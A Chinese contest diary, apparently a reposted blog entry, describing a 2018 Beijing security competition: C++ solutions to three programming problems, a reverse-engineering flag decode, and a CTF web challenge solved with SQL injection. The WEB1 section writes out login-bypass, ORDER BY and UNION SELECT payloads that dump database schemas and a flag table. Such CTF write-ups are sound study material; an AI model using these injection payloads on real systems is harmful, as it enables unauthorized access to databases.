码迷,mamicode.com
首页 > 其他好文 > 详细

北京一日游(网安杯)

时间:2018-04-22 18:16:00      阅读:189      评论:0      收藏:0      [点我收藏+]

标签:void   tables   sql   std   union   联网   order by   password   mov指令   

一开始说要去北京的时候,我是拒绝的。

为什么是拒绝的呢?去北京?太远了,不存在的,然而还是去了。

为什么去呢?据说这获奖了可以对自招有好处,而且还有钱发

比赛是封闭的,联网都不能上!(到时候搞一个不知道的加密不就GG)

比赛分为两部分,上午是ACM赛制的编程,下午是CTF。

都是两个小时,六道题!(最厉害的大佬GZZ随便就四道题)

整个上午下午,就看到大佬A题,太可怕了。。

上午的题目不是很难(对于信息组大佬来说,不是我),模拟,动归,线段树,floyd什么的。

第一道题签到题,就是统计下划线个数,直接水了、

 1 #include<cstdio>
 2 #include<cstring>
 3 #include<iostream>
 4 using namespace std;
 5 int stack[90]={0};
 6 int main()
 7 {
 8     int i,j,k,l,m,n,ans=0,len=0;
 9     scanf("%d",&m);
10     for(i=1;i<=m;i++)
11     {
12         char str[81];
13         scanf("%s",&str);
14         if(len<strlen(str))
15             len=strlen(str);
16         for(j=0;j<strlen(str);j++)    
17             if(str[j]==_)
18                 stack[j]++;
19     }    
20     for(i=0;i<len;i++)
21         ans=max(ans,stack[i]);
22     printf("%d",ans);
23     return 0;
24 } 

第二题,看起来挺简单,然而wa了,就是一些人,给一堆的(人a,人b),要求a>b,问问唯一确定的人成绩排名的有几个

我以为可以用拓扑,然而wa了,有大佬可以告诉我为什么吗》》》好伤心。。

wa了的代码:

#include<cstdio>
#include<cstring> 
#include<cstdlib>
#include<vector>
using namespace std;
int top1[4510],top2[4510],t,c[4510]; 
vector<int> G[4510];
bool up_topsort(int node)
{
    c[node]=-1;
    for(int i=0;i<G[node].size();i++)
    {
        if(c[G[node][i]]<0)
            return false;
        else if(!c[G[node][i]] && !up_topsort(G[node][i])) 
            return false;
    }
    c[node]=1;
    top1[t--]=node;
    return true;
} 
bool down_topsort(int node)
{
    c[node]=-1;
    for(int i=0;i<G[node].size();i++)
    {
        if(c[G[node][i]]<0)
            return false;
        else if(!c[G[node][i]] && !down_topsort(G[node][i])) 
            return false;
    }
    c[node]=1;
    top2[t--]=node;
    return true;
} 
bool down_ok(int m)
{
    t=m;
    memset(c,0,sizeof c);
    for(int i=1;i<=m;i++)
        if(!c[i])
            if(!down_topsort(i))
                return false;
    return true;
}
bool up_ok(int m)
{
    t=m;
    memset(c,0,sizeof c);
    for(int i=m;i>=1;i--)
        if(!c[i])
            if(!up_topsort(i))
                return false;
    return true;
}
int main()
{
    int i,j,k,l,m,n,ans=0;
    scanf("%d%d",&m,&n);
    for(i=1;i<=n;i++)
    {
        int a,b;
        scanf("%d%d",&a,&b);
        G[a].push_back(b);
    }
    up_ok(m);
    down_ok(m);
    for(i=1;i<=m;i++)
        if(top1[i]==top2[i])
            ans++;
    printf("%d",ans);
    return 0;
}

第三题,就是给一串数字,都是0~9,然后求把它改为单调递增或递减最少要改几个数字

#include<cstdio>
#include<cstdlib>
#include<iostream>
#define INF 1e9
using namespace std;
int A[100010],up[100010][10],down[100010][10];
void init(int m)
{
    for(int i=1;i<=m+1;i++)
        for(int j=0;j<=9;j++)
        {
            up[i][j]=INF;
            if(i==1)
                up[1][j]=1;
        }
    up[1][A[1]]=0;
    for(int i=1;i<=m+1;i++)
        for(int j=0;j<=9;j++)
        {
            down[i][j]=INF;
            if(i==1)
                down[1][j]=1;
        }
    down[1][A[1]]=0;
}
int main()
{
    int i,j,k,l,m,n,ans1=INF,ans2=INF;
    scanf("%d",&m);
    for(i=1;i<=m;i++)
        scanf("%d",&A[i]);
    init(m);
    for(i=2;i<=m;i++)
        for(j=0;j<=9;j++)
        {
            for(k=0;k<=j;k++)
            {
                if(j==A[i])
                    up[i][j]=min(up[i][j],up[i-1][k]);
                else
                    up[i][j]=min(up[i][j],up[i-1][k]+1);
            }
        }
    for(i=2;i<=m;i++)
        for(j=0;j<=9;j++)
        {
            for(k=j;k<=9;k++)
            {
                if(j==A[i])
                    down[i][j]=min(down[i][j],down[i-1][k]);
                else
                    down[i][j]=min(down[i][j],down[i-1][k]+1);
            }
        }
    for(j=0;j<=9;j++)
        ans1=min(ans1,up[m][j]);
    for(j=0;j<=9;j++)
        ans2=min(ans2,down[m][j]);
    printf("%d",min(ans1,ans2));
    return 0;
}

下午就是CTF了,只做出两道WEB1,RE1,某位大佬五道都随便。。。

 

RE1

首先先查下壳,发现是vc++的,没有壳。

 

然后直接扔到ida里看看。

可以发现在入口处,这个程序基本什么都没干。

就是用了一堆的mov指令。

 

很显然,这些东西就是flag。

最后写个脚本

a=[0x42,0x55,0x50,0x54,0x7B,0x59,0x30,0x75,0x5F,0x73,0x33,0x33,0x6E,0x5F,0x53,0x6F,0x6D,0x65,0x74,0x68,0x31,0x6E,0x67,0x5F,0x66,0x72,0x6F,0x6D,0x5F,0x6E,0x4f,0x74,0x68,0x69,0x6E,0x39,0x7D]

str=""

for i in a:

str=str+chr(i)

print(str)

 

Flag就直接出来了。

 

WEB1

直接就给了提示。

是个sql注入。

username=test‘ or ‘1‘=‘1&password=123

先看看是什么类型的,发现是字符型的。

 

让后试试有几列

username=test‘ order by 1 %23&password=123

username=test‘ order by 2 %23&password=123

username=test‘ order by 3 %23&password=123

发现在3以后就登不进去了。可以知道有三列。

Payload:username=‘ union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA %23&password=123

然后爆库名

 

爆表名:

Payload: username=‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘easy_sqli‘ %23&password=123

然后:

 

 

然后就直接查出来了。。。。。。

Payload:username=‘ union select 1,group_concat(flag),3 from easy_sqli.flag %23&password=123

 

FLAG: BUPT{e@sy_sql_injection}

还是太水了,GZZ大佬太强了!!!!!

 

北京一日游(网安杯)

标签:void   tables   sql   std   union   联网   order by   password   mov指令   

原文地址:https://www.cnblogs.com/ZarCs/p/8908423.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!